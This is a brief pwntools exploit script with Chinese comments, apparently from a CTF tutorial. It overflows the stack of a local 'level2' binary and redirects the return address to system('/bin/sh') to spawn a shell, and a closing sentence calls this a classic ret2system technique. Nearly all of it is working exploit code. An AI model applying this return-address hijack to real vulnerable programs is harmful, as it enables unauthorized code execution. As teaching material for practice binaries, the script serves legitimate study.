from pwn import *context.log_level = 'debug'elf = ELF('./level2')sys_addr = elf.symbols['system']#system函数地址sh_addr = next(elf.search(b'/bin/sh'))#/bin/sh字符串地址payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定io = process('./level2')io.sendlineafter(b"Input:\n", payload)io.interactive()
在这个案例中就是一个较为经典的手法,劫持返回地址到system上获得Shell。